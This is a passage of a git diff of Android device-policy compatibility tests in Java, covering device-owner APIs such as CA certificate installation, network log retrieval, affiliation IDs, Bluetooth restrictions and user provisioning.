+            assertEquals(firstTimestamp, secondTimestamp);
+        }
+    }
+
+    /**
+     * Test: Requesting a bug report should update the corresponding timestamp.
+     */
+    public void testRequestBugreport() throws Exception {
+        Thread.sleep(1);
+        final long previousTimestamp = mDevicePolicyManager.getLastBugReportRequestTime();
+
+        final long timeBefore = System.currentTimeMillis();
+        mDevicePolicyManager.requestBugreport(getWho());
+        final long timeAfter = System.currentTimeMillis();
+
+        final long newTimestamp = mDevicePolicyManager.getLastBugReportRequestTime();
+        assertTrue(newTimestamp > previousTimestamp);
+        assertTrue(newTimestamp >= timeBefore);
+        assertTrue(newTimestamp <= timeAfter);
+    }
+
+    /**
+     * Test: Retrieving network logs should update the corresponding timestamp.
+     */
+    public void testGetLastNetworkLogRetrievalTime() throws Exception {
+        Thread.sleep(1);
+        final long previousTimestamp = mDevicePolicyManager.getLastSecurityLogRetrievalTime();
+
+        mDevicePolicyManager.setNetworkLoggingEnabled(getWho(), true);
+
+        long timeBefore = System.currentTimeMillis();
+        mDevicePolicyManager.retrieveNetworkLogs(getWho(), 0 /* batchToken */);
+        long timeAfter = System.currentTimeMillis();
+
+        final long newTimestamp = mDevicePolicyManager.getLastNetworkLogRetrievalTime();
+        assertTrue(newTimestamp > previousTimestamp);
+        assertTrue(newTimestamp >= timeBefore);
+        assertTrue(newTimestamp <= timeAfter);
+    }
+
+    /**
+     * Test: The Device Owner should be able to set and retrieve the name of the organization
+     * managing the device.
+     */
+    public void testDeviceOwnerOrganizationName() throws Exception {
+        mDevicePolicyManager.setOrganizationName(getWho(), null);
+        assertNull(mDevicePolicyManager.getDeviceOwnerOrganizationName());
+
+        mDevicePolicyManager.setOrganizationName(getWho(), "organization");
+        assertEquals("organization", mDevicePolicyManager.getDeviceOwnerOrganizationName());
+
+        mDevicePolicyManager.setOrganizationName(getWho(), null);
+        assertNull(mDevicePolicyManager.getDeviceOwnerOrganizationName());
+    }
+
+    /**
+     * Test: When a Device Owner is set, isDeviceManaged() should return true.
+     */
+    public void testIsDeviceManaged() throws Exception {
+        assertTrue(mDevicePolicyManager.isDeviceManaged());
+    }
+
+    /**
+     * Test: It should be recored whether the Device Owner or the user set the current IME.
+     */
+    public void testIsDefaultInputMethodSet() throws Exception {
+        final String setting = Settings.Secure.DEFAULT_INPUT_METHOD;
+        final ContentResolver resolver = getContext().getContentResolver();
+        final String ime = Settings.Secure.getString(resolver, setting);
+
+        Settings.Secure.putString(resolver, setting, "com.test.1");
+        Thread.sleep(500);
+        assertFalse(mDevicePolicyManager.isCurrentInputMethodSetByOwner());
+
+        mDevicePolicyManager.setSecureSetting(getWho(), setting, "com.test.2");
+        Thread.sleep(500);
+        assertTrue(mDevicePolicyManager.isCurrentInputMethodSetByOwner());
+
+        Settings.Secure.putString(resolver, setting, ime);
+        Thread.sleep(500);
+        assertFalse(mDevicePolicyManager.isCurrentInputMethodSetByOwner());
+    }
+
+    /**
+     * Test: It should be recored whether the Device Owner or the user installed a CA cert.
+     */
+    public void testGetPolicyInstalledCaCerts() throws Exception {
+        final byte[] rawCert = TEST_CA.getBytes();
+        final Certificate cert = CertificateFactory.getInstance("X.509")
+                .generateCertificate(new ByteArrayInputStream(rawCert));
+        final TrustedCertificateStore store = new TrustedCertificateStore();
+
+        // Install a CA cert.
+        assertNull(store.getCertificateAlias(cert));
+        assertTrue(mDevicePolicyManager.installCaCert(getWho(), rawCert));
+        final String alias = store.getCertificateAlias(cert);
+        assertNotNull(alias);
+
+        // Verify that the CA cert was marked as installed by the Device Owner.
+        verifyOwnerInstalledStatus(alias, true);
+
+        // Uninstall the CA cert.
+        mDevicePolicyManager.uninstallCaCert(getWho(), rawCert);
+
+        // Verify that the CA cert is no longer marked as installed by the Device Owner.
+        verifyOwnerInstalledStatus(alias, false);
+    }
+
+    private void verifyOwnerInstalledStatus(String alias, boolean expectOwnerInstalled) {
+        final List<String> ownerInstalledCerts =
+                mDevicePolicyManager.getOwnerInstalledCaCerts(Process.myUserHandle());
+        assertNotNull(ownerInstalledCerts);
+        assertEquals(expectOwnerInstalled, ownerInstalledCerts.contains(alias));
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AffiliationTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AffiliationTest.java
new file mode 100644
index 0000000..a9b43c6
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AffiliationTest.java
@@ -0,0 +1,130 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceowner;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Collections;
+import java.util.Set;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+import static org.junit.Assert.assertArrayEquals;
+
+@RunWith(AndroidJUnit4.class)
+public class AffiliationTest {
+
+    private DevicePolicyManager mDevicePolicyManager;
+    private ComponentName mAdminComponent;
+
+    @Before
+    public void setUp() {
+        Context context = InstrumentationRegistry.getContext();
+        mDevicePolicyManager = (DevicePolicyManager)
+                context.getSystemService(Context.DEVICE_POLICY_SERVICE);
+        mAdminComponent = BaseDeviceOwnerTest.BasicAdminReceiver.getComponentName(context);
+    }
+
+    @Test
+    public void testSetAffiliationId_null() {
+        try {
+            mDevicePolicyManager.setAffiliationIds(mAdminComponent, null);
+            fail("Should throw IllegalArgumentException");
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+    }
+
+    @Test
+    public void testSetAffiliationId_containsEmptyString() {
+        try {
+            mDevicePolicyManager.setAffiliationIds(mAdminComponent, Collections.singleton(null));
+            fail("Should throw IllegalArgumentException");
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+    }
+
+    @Test
+    public void testSetAffiliationId1() {
+        setAffiliationIds(Collections.singleton("id.number.1"));
+    }
+
+    @Test
+    public void testSetAffiliationId2() {
+        setAffiliationIds(Collections.singleton("id.number.2"));
+    }
+
+    @Test
+    public void testLockTaskMethodsThrowExceptionIfUnaffiliated() {
+        checkLockTaskMethodsThrow();
+    }
+
+    /** Assumes that the calling user is already affiliated before calling this method */
+    @Test
+    public void testSetLockTaskPackagesClearedIfUserBecomesUnaffiliated() {
+        final String[] packages = {"package1", "package2"};
+        mDevicePolicyManager.setLockTaskPackages(mAdminComponent, packages);
+        assertArrayEquals(packages, mDevicePolicyManager.getLockTaskPackages(mAdminComponent));
+        assertTrue(mDevicePolicyManager.isLockTaskPermitted("package1"));
+        assertFalse(mDevicePolicyManager.isLockTaskPermitted("package3"));
+
+        final Set<String> previousAffiliationIds =
+                mDevicePolicyManager.getAffiliationIds(mAdminComponent);
+        try {
+            // Clearing affiliation ids for this user. Lock task methods unavailable.
+            setAffiliationIds(Collections.emptySet());
+            checkLockTaskMethodsThrow();
+            assertFalse(mDevicePolicyManager.isLockTaskPermitted("package1"));
+
+            // Affiliating the user again. Previously set packages have been cleared.
+            setAffiliationIds(previousAffiliationIds);
+            assertEquals(0, mDevicePolicyManager.getLockTaskPackages(mAdminComponent).length);
+            assertFalse(mDevicePolicyManager.isLockTaskPermitted("package1"));
+        } finally {
+            mDevicePolicyManager.setAffiliationIds(mAdminComponent, previousAffiliationIds);
+        }
+    }
+
+    private void setAffiliationIds(Set<String> ids) {
+        mDevicePolicyManager.setAffiliationIds(mAdminComponent, ids);
+        assertEquals(ids, mDevicePolicyManager.getAffiliationIds(mAdminComponent));
+    }
+
+    private void checkLockTaskMethodsThrow() {
+        try {
+            mDevicePolicyManager.setLockTaskPackages(mAdminComponent, new String[0]);
+            fail("setLockTaskPackages did not throw expected SecurityException");
+        } catch (SecurityException expected) {
+        }
+        try {
+            mDevicePolicyManager.getLockTaskPackages(mAdminComponent);
+            fail("getLockTaskPackages did not throw expected SecurityException");
+        } catch (SecurityException expected) {
+        }
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BackupServiceEnabledTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BackupServiceEnabledTest.java
new file mode 100644
index 0000000..fbf1ec7
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BackupServiceEnabledTest.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceowner;
+
+public class BackupServiceEnabledTest extends BaseDeviceOwnerTest {
+
+    /**
+     * Test: Test enabling backup service. This test should be executed after installing a device
+     * owner so that we check that backup service is not enabled by default.
+     * This test will keep backup service disabled after its execution.
+     */
+    public void testEnablingAndDisablingBackupService() {
+        assertFalse(mDevicePolicyManager.isBackupServiceEnabled(getWho()));
+        mDevicePolicyManager.setBackupServiceEnabled(getWho(), true);
+        assertTrue(mDevicePolicyManager.isBackupServiceEnabled(getWho()));
+        mDevicePolicyManager.setBackupServiceEnabled(getWho(), false);
+        assertFalse(mDevicePolicyManager.isBackupServiceEnabled(getWho()));
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
index b49f923..94aaeb2 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
@@ -22,6 +22,8 @@
 import android.content.Intent;
 import android.net.Uri;
 import android.os.Process;
+import android.os.UserHandle;
+import android.support.v4.content.LocalBroadcastManager;
 import android.test.AndroidTestCase;
 
 /**
@@ -34,7 +36,20 @@
  */
 public abstract class BaseDeviceOwnerTest extends AndroidTestCase {
 
+    final static String ACTION_USER_ADDED = "com.android.cts.deviceowner.action.USER_ADDED";
+    final static String ACTION_USER_REMOVED = "com.android.cts.deviceowner.action.USER_REMOVED";
+    final static String EXTRA_USER_HANDLE = "com.android.cts.deviceowner.extra.USER_HANDLE";
+    final static String ACTION_NETWORK_LOGS_AVAILABLE =
+            "com.android.cts.deviceowner.action.ACTION_NETWORK_LOGS_AVAILABLE";
+    final static String EXTRA_NETWORK_LOGS_BATCH_TOKEN =
+            "com.android.cts.deviceowner.extra.NETWORK_LOGS_BATCH_TOKEN";
+
     public static class BasicAdminReceiver extends DeviceAdminReceiver {
+
+        public static ComponentName getComponentName(Context context) {
+            return new ComponentName(context, BasicAdminReceiver.class);
+        }
+
         @Override
         public String onChoosePrivateKeyAlias(Context context, Intent intent, int uid, Uri uri,
                 String suggestedAlias) {
@@ -43,6 +58,32 @@
             }
             return uri.getQueryParameter("alias");
         }
+
+        @Override
+        public void onUserAdded(Context context, Intent intent, UserHandle userHandle) {
+            sendUserAddedOrRemovedBroadcast(context, ACTION_USER_ADDED, userHandle);
+        }
+
+        @Override
+        public void onUserRemoved(Context context, Intent intent, UserHandle userHandle) {
+            sendUserAddedOrRemovedBroadcast(context, ACTION_USER_REMOVED, userHandle);
+        }
+
+        @Override
+        public void onNetworkLogsAvailable(Context context, Intent intent, long batchToken,
+                int networkLogsCount) {
+            // send the broadcast, the rest of the test happens in NetworkLoggingTest
+            Intent batchIntent = new Intent(ACTION_NETWORK_LOGS_AVAILABLE);
+            batchIntent.putExtra(EXTRA_NETWORK_LOGS_BATCH_TOKEN, batchToken);
+            LocalBroadcastManager.getInstance(context).sendBroadcast(batchIntent);
+        }
+
+        private void sendUserAddedOrRemovedBroadcast(Context context, String action,
+                UserHandle userHandle) {
+            Intent intent = new Intent(action);
+            intent.putExtra(EXTRA_USER_HANDLE, userHandle);
+            LocalBroadcastManager.getInstance(context).sendBroadcast(intent);
+        }
     }
 
     public static final String PACKAGE_NAME = BaseDeviceOwnerTest.class.getPackage().getName();
@@ -62,6 +103,7 @@
         assertNotNull(dpm);
         assertTrue(dpm.isAdminActive(getWho()));
         assertTrue(dpm.isDeviceOwnerApp(PACKAGE_NAME));
+        assertFalse(dpm.isManagedProfile(getWho()));
     }
 
     protected static ComponentName getWho() {
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java
index 0ddf842..00b498a 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java
@@ -16,7 +16,6 @@
 
 package com.android.cts.deviceowner;
 
-import android.app.admin.DevicePolicyManager;
 import android.bluetooth.BluetoothAdapter;
 import android.content.ComponentName;
 import android.content.pm.PackageManager;
@@ -33,7 +32,7 @@
     private static final int ENABLE_TIMEOUT_MS = 10000; // ms timeout for BT enable
     private static final int POLL_TIME_MS = 400;           // ms to poll BT state
     private static final int CHECK_WAIT_TIME_MS = 1000;    // ms to wait before enable/disable
-    private static final int COMPONENT_STATE_TIMEOUT_MS = 2000;
+    private static final int COMPONENT_STATE_TIMEOUT_MS = 10000;
     private static final ComponentName OPP_LAUNCHER_COMPONENT = new ComponentName(
             "com.android.bluetooth", "com.android.bluetooth.opp.BluetoothOppLauncherActivity");
 
@@ -51,6 +50,7 @@
     protected void tearDown() throws Exception {
         super.tearDown();
         mDevicePolicyManager.clearUserRestriction(getWho(), UserManager.DISALLOW_BLUETOOTH);
+        enable();
     }
 
     public void testEnableBluetoothFailsWhenDisallowed() throws Exception {
@@ -103,7 +103,8 @@
     }
 
     /**
-     * Tests that BluetoothOppLauncherActivity gets disabled when Bluetooth is disallowed.
+     * Tests that BluetoothOppLauncherActivity gets disabled when Bluetooth itself or Bluetooth
+     * sharing is disallowed.
      *
      * <p> It also checks the state of the activity is set back to default if Bluetooth is not
      * disallowed anymore.
@@ -113,15 +114,24 @@
             return;
         }
 
+        // First verify DISALLOW_BLUETOOTH.
+        testOppDisabledWhenRestrictionSet(UserManager.DISALLOW_BLUETOOTH);
+        // Verify DISALLOW_BLUETOOTH_SHARING which leaves bluetooth workable but the sharing
+        // component should be disabled.
+        testOppDisabledWhenRestrictionSet(UserManager.DISALLOW_BLUETOOTH_SHARING);
+    }
+
+    /** Verifies that a given restriction disables the bluetooth sharing component. */
+    private void testOppDisabledWhenRestrictionSet(String restriction) {
         // Add the user restriction.
-        mDevicePolicyManager.addUserRestriction(getWho(), UserManager.DISALLOW_BLUETOOTH);
+        mDevicePolicyManager.addUserRestriction(getWho(), restriction);
 
         // The BluetoothOppLauncherActivity's component should be disabled.
         assertComponentStateAfterTimeout(
                 OPP_LAUNCHER_COMPONENT, PackageManager.COMPONENT_ENABLED_STATE_DISABLED);
 
         // Remove the user restriction.
-        mDevicePolicyManager.clearUserRestriction(getWho(), UserManager.DISALLOW_BLUETOOTH);
+        mDevicePolicyManager.clearUserRestriction(getWho(), restriction);
 
         // The BluetoothOppLauncherActivity's component should be in the default state.
         assertComponentStateAfterTimeout(
@@ -233,4 +243,4 @@
         } catch (InterruptedException e) {}
     }
 
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CaCertManagementTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CaCertManagementTest.java
deleted file mode 100644
index 3e692c3..0000000
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CaCertManagementTest.java
+++ /dev/null
@@ -1,172 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.deviceowner;
-
-import android.net.http.X509TrustManagerExtensions;
-import android.security.NetworkSecurityPolicy;
-
-import java.io.ByteArrayInputStream;
-import java.security.GeneralSecurityException;
-import java.security.KeyStore;
-import java.security.cert.Certificate;
-import java.security.cert.CertificateException;
-import java.security.cert.CertificateFactory;
-import java.security.cert.X509Certificate;
-import java.util.Arrays;
-import java.util.List;
-
-import javax.net.ssl.TrustManager;
-import javax.net.ssl.TrustManagerFactory;
-import javax.net.ssl.X509TrustManager;
-
-import static com.android.cts.deviceowner.FakeKeys.FAKE_DSA_1;
-import static com.android.cts.deviceowner.FakeKeys.FAKE_RSA_1;
-
-public class CaCertManagementTest extends BaseDeviceOwnerTest {
-    /**
-     * Test: device admins should be able to list all installed certs.
-     *
-     * <p>The list of certificates must never be {@code null}.
-     */
-    public void testCanRetrieveListOfInstalledCaCerts() {
-        List<byte[]> caCerts = mDevicePolicyManager.getInstalledCaCerts(getWho());
-        assertNotNull(caCerts);
-    }
-
-    /**
-     * Test: a valid cert should be installable and also removable.
-     */
-    public void testCanInstallAndUninstallACaCert()
-            throws CertificateException, GeneralSecurityException {
-        assertUninstalled(FAKE_RSA_1.caCertificate);
-        assertUninstalled(FAKE_DSA_1.caCertificate);
-
-        assertTrue(mDevicePolicyManager.installCaCert(getWho(), FAKE_RSA_1.caCertificate));
-        assertInstalled(FAKE_RSA_1.caCertificate);
-        assertUninstalled(FAKE_DSA_1.caCertificate);
-
-        mDevicePolicyManager.uninstallCaCert(getWho(), FAKE_RSA_1.caCertificate);
-        assertUninstalled(FAKE_RSA_1.caCertificate);
-        assertUninstalled(FAKE_DSA_1.caCertificate);
-    }
-
-    /**
-     * Test: removing one certificate must not remove any others.
-     */
-    public void testUninstallationIsSelective()
-            throws CertificateException, GeneralSecurityException {
-        assertTrue(mDevicePolicyManager.installCaCert(getWho(), FAKE_RSA_1.caCertificate));
-        assertTrue(mDevicePolicyManager.installCaCert(getWho(), FAKE_DSA_1.caCertificate));
-
-        mDevicePolicyManager.uninstallCaCert(getWho(), FAKE_DSA_1.caCertificate);
-        assertInstalled(FAKE_RSA_1.caCertificate);
-        assertUninstalled(FAKE_DSA_1.caCertificate);
-
-        mDevicePolicyManager.uninstallCaCert(getWho(), FAKE_RSA_1.caCertificate);
-    }
-
-    /**
-     * Test: uninstallAllUserCaCerts should be equivalent to calling uninstallCaCert on every
-     * supplementary installed certificate.
-     */
-    public void testCanUninstallAllUserCaCerts()
-            throws CertificateException, GeneralSecurityException {
-        assertTrue(mDevicePolicyManager.installCaCert(getWho(), FAKE_RSA_1.caCertificate));
-        assertTrue(mDevicePolicyManager.installCaCert(getWho(), FAKE_DSA_1.caCertificate));
-
-        mDevicePolicyManager.uninstallAllUserCaCerts(getWho());
-        assertUninstalled(FAKE_RSA_1.caCertificate);
-        assertUninstalled(FAKE_DSA_1.caCertificate);
-    }
-
-    private void assertInstalled(byte[] caBytes)
-            throws CertificateException, GeneralSecurityException {
-        Certificate caCert = readCertificate(caBytes);
-        assertTrue(isCaCertInstalledAndTrusted(caCert));
-    }
-
-    private void assertUninstalled(byte[] caBytes)
-            throws CertificateException, GeneralSecurityException {
-        Certificate caCert = readCertificate(caBytes);
-        assertFalse(isCaCertInstalledAndTrusted(caCert));
-    }
-
-    private static X509TrustManager getFirstX509TrustManager(TrustManagerFactory tmf) {
-        for (TrustManager trustManager : tmf.getTrustManagers()) {
-             if (trustManager instanceof X509TrustManager) {
-                 return (X509TrustManager) trustManager;
-             }
-        }
-        throw new RuntimeException("Unable to find X509TrustManager");
-    }
-
-    /**
-     * Whether a given cert, or one a lot like it, has been installed system-wide and is available
-     * to all apps.
-     *
-     * <p>A CA certificate is "installed" if it matches all of the following conditions:
-     * <ul>
-     *   <li>{@link DevicePolicyManager#hasCaCertInstalled} returns {@code true}.</li>
-     *   <li>{@link DevicePolicyManager#getInstalledCaCerts} lists a matching certificate (not
-     *       necessarily exactly the same) in its response.</li>
-     *   <li>Any new instances of {@link TrustManager} should report the certificate among their
-     *       accepted issuer list -- older instances may keep the set of issuers they were created
-     *       with until explicitly refreshed.</li>
-     *
-     * @return {@code true} if installed by all metrics, {@code false} if not installed by any
-     *         metric. In any other case an {@link AssertionError} will be thrown.
-     */
-    private boolean isCaCertInstalledAndTrusted(Certificate caCert)
-            throws GeneralSecurityException, CertificateException {
-        boolean installed = mDevicePolicyManager.hasCaCertInstalled(getWho(), caCert.getEncoded());
-
-        boolean listed = false;
-        for (byte[] certBuffer : mDevicePolicyManager.getInstalledCaCerts(getWho())) {
-            if (caCert.equals(readCertificate(certBuffer))) {
-                listed = true;
-            }
-        }
-
-        NetworkSecurityPolicy.getInstance().handleTrustStorageUpdate();
-
-        // Verify that the user added CA is reflected in the default X509TrustManager.
-        final TrustManagerFactory tmf =
-                TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
-        // Use platform provided CA store.
-        tmf.init((KeyStore) null);
-        X509TrustManager tm = getFirstX509TrustManager(tmf);
-        boolean trusted = Arrays.asList(tm.getAcceptedIssuers()).contains(caCert);
-        X509TrustManagerExtensions xtm = new X509TrustManagerExtensions(tm);
-        boolean userAddedCertificate = xtm.isUserAddedCertificate((X509Certificate) caCert);
-
-        // All three responses should match - if an installed certificate isn't trusted or (worse)
-        // a trusted certificate isn't even installed we should 
-        assertEquals(installed, listed);
-        assertEquals(installed, trusted);
-        assertEquals(installed, userAddedCertificate);
-        return installed;
-    }
-
-    /**
-     * Convert an encoded certificate back into a {@link Certificate}.
-     *
-     * Instantiates a fresh CertificateFactory every time for repeatability.
-     */
-    private static Certificate readCertificate(byte[] certBuffer) throws CertificateException {
-        final CertificateFactory certFactory = CertificateFactory.getInstance("X.509");
-        return certFactory.generateCertificate(new ByteArrayInputStream(certBuffer));
-    }
-}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
index 1bf4d45..a540c27 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
@@ -31,13 +31,17 @@
 import android.os.UserHandle;
 import android.os.UserManager;
 import android.provider.Settings;
-
+import android.support.v4.content.LocalBroadcastManager;
+import android.util.Log;
 import java.lang.reflect.Field;
+import java.util.concurrent.SynchronousQueue;
+import java.util.concurrent.TimeUnit;
 
 /**
  * Test {@link DevicePolicyManager#createAndManageUser}.
  */
 public class CreateAndManageUserTest extends BaseDeviceOwnerTest {
+    private static final String TAG = "CreateAndManageUserTest";
 
     private static final String BROADCAST_EXTRA = "broadcastExtra";
     private static final String ACTION_EXTRA = "actionExtra";
@@ -270,6 +274,48 @@
         assertNotNull(mUserHandle);
 
         boolean removed = mDevicePolicyManager.removeUser(getWho(), mUserHandle);
-        assertFalse(removed);
+        // When the device owner itself has set the user restriction, it should still be allowed
+        // to remove a user.
+        assertTrue(removed);
+    }
+
+    public void testUserAddedOrRemovedBroadcasts() throws InterruptedException {
+        LocalBroadcastReceiver receiver = new LocalBroadcastReceiver();
+        LocalBroadcastManager localBroadcastManager = LocalBroadcastManager.getInstance(
+                getContext());
+        localBroadcastManager.registerReceiver(receiver, new IntentFilter(ACTION_USER_ADDED));
+        try {
+            mUserHandle = mDevicePolicyManager.createAndManageUser(getWho(), "Test User", getWho(),
+                    null, 0);
+            assertNotNull(mUserHandle);
+            assertEquals(mUserHandle, receiver.waitForBroadcastReceived());
+        } finally {
+            localBroadcastManager.unregisterReceiver(receiver);
+        }
+        localBroadcastManager.registerReceiver(receiver, new IntentFilter(ACTION_USER_REMOVED));
+        try {
+            assertTrue(mDevicePolicyManager.removeUser(getWho(), mUserHandle));
+            assertEquals(mUserHandle, receiver.waitForBroadcastReceived());
+            mUserHandle = null;
+        } finally {
+            localBroadcastManager.unregisterReceiver(receiver);
+        }
+    }
+
+    static class LocalBroadcastReceiver extends BroadcastReceiver {
+        private SynchronousQueue<UserHandle> mQueue = new SynchronousQueue<UserHandle>();
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            UserHandle userHandle = intent.getParcelableExtra(EXTRA_USER_HANDLE);
+            Log.d(TAG, "broadcast receiver received " + intent + " with userHandle "
+                    + userHandle);
+            mQueue.offer(userHandle);
+
+        }
+
+        public UserHandle waitForBroadcastReceived() throws InterruptedException {
+            return mQueue.poll(BROADCAST_TIMEOUT, TimeUnit.MILLISECONDS);
+        }
     }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceOwnerProvisioningTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceOwnerProvisioningTest.java
new file mode 100644
index 0000000..02ad00b
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceOwnerProvisioningTest.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceowner;
+
+import static android.app.admin.DevicePolicyManager.ACTION_PROVISION_MANAGED_DEVICE;
+import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_LEAVE_ALL_SYSTEM_APPS_ENABLED;
+import static android.content.pm.PackageManager.MATCH_SYSTEM_ONLY;
+import static java.util.stream.Collectors.toList;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.Intent;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageManager;
+import android.util.Log;
+
+import com.android.compatibility.common.util.devicepolicy.provisioning.SilentProvisioningTestManager;
+import java.util.ArrayList;
+import java.util.List;
+
+
+public class DeviceOwnerProvisioningTest extends BaseDeviceOwnerTest {
+    private static final String TAG = "DeviceOwnerProvisioningTest";
+
+    private List<String> mEnabledAppsBeforeTest;
+    private PackageManager mPackageManager;
+    private DevicePolicyManager mDpm;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        mPackageManager = getContext().getPackageManager();
+        mDpm = getContext().getSystemService(DevicePolicyManager.class);
+        mEnabledAppsBeforeTest = getPackageNameList();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        enableUninstalledApp();
+        super.tearDown();
+    }
+
+    public void testProvisionDeviceOwner() throws Exception {
+        deviceOwnerProvision(getBaseProvisioningIntent());
+    }
+
+    public void testProvisionDeviceOwner_withAllSystemAppsEnabled() throws Exception {
+        List<String> systemAppsBefore = getSystemPackageNameList();
+
+        Intent intent = getBaseProvisioningIntent()
+                .putExtra(EXTRA_PROVISIONING_LEAVE_ALL_SYSTEM_APPS_ENABLED, true);
+        deviceOwnerProvision(intent);
+
+        List<String> systemAppsAfter = getSystemPackageNameList();
+        assertTrue(systemAppsBefore.equals(systemAppsAfter));
+    }
+
+    private void enableUninstalledApp() {
+        final List<String> currentEnabledApps = getPackageNameList();
+
+        final List<String> disabledApps = new ArrayList<String>(mEnabledAppsBeforeTest);
+        disabledApps.removeAll(currentEnabledApps);
+
+        for (String disabledSystemApp : disabledApps) {
+            Log.i(TAG, "enable app : " + disabledSystemApp);
+            mDevicePolicyManager.enableSystemApp(BasicAdminReceiver.getComponentName(getContext()),
+                    disabledSystemApp);
+        }
+    }
+
+    private Intent getBaseProvisioningIntent() {
+        return new Intent(ACTION_PROVISION_MANAGED_DEVICE)
+                .putExtra(DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME,
+                        BasicAdminReceiver.getComponentName(getContext()))
+                .putExtra(DevicePolicyManager.EXTRA_PROVISIONING_SKIP_ENCRYPTION, true);
+    }
+
+    private void deviceOwnerProvision(Intent intent) throws Exception {
+        SilentProvisioningTestManager provisioningManager =
+                new SilentProvisioningTestManager(getContext());
+        assertTrue(provisioningManager.startProvisioningAndWait(intent));
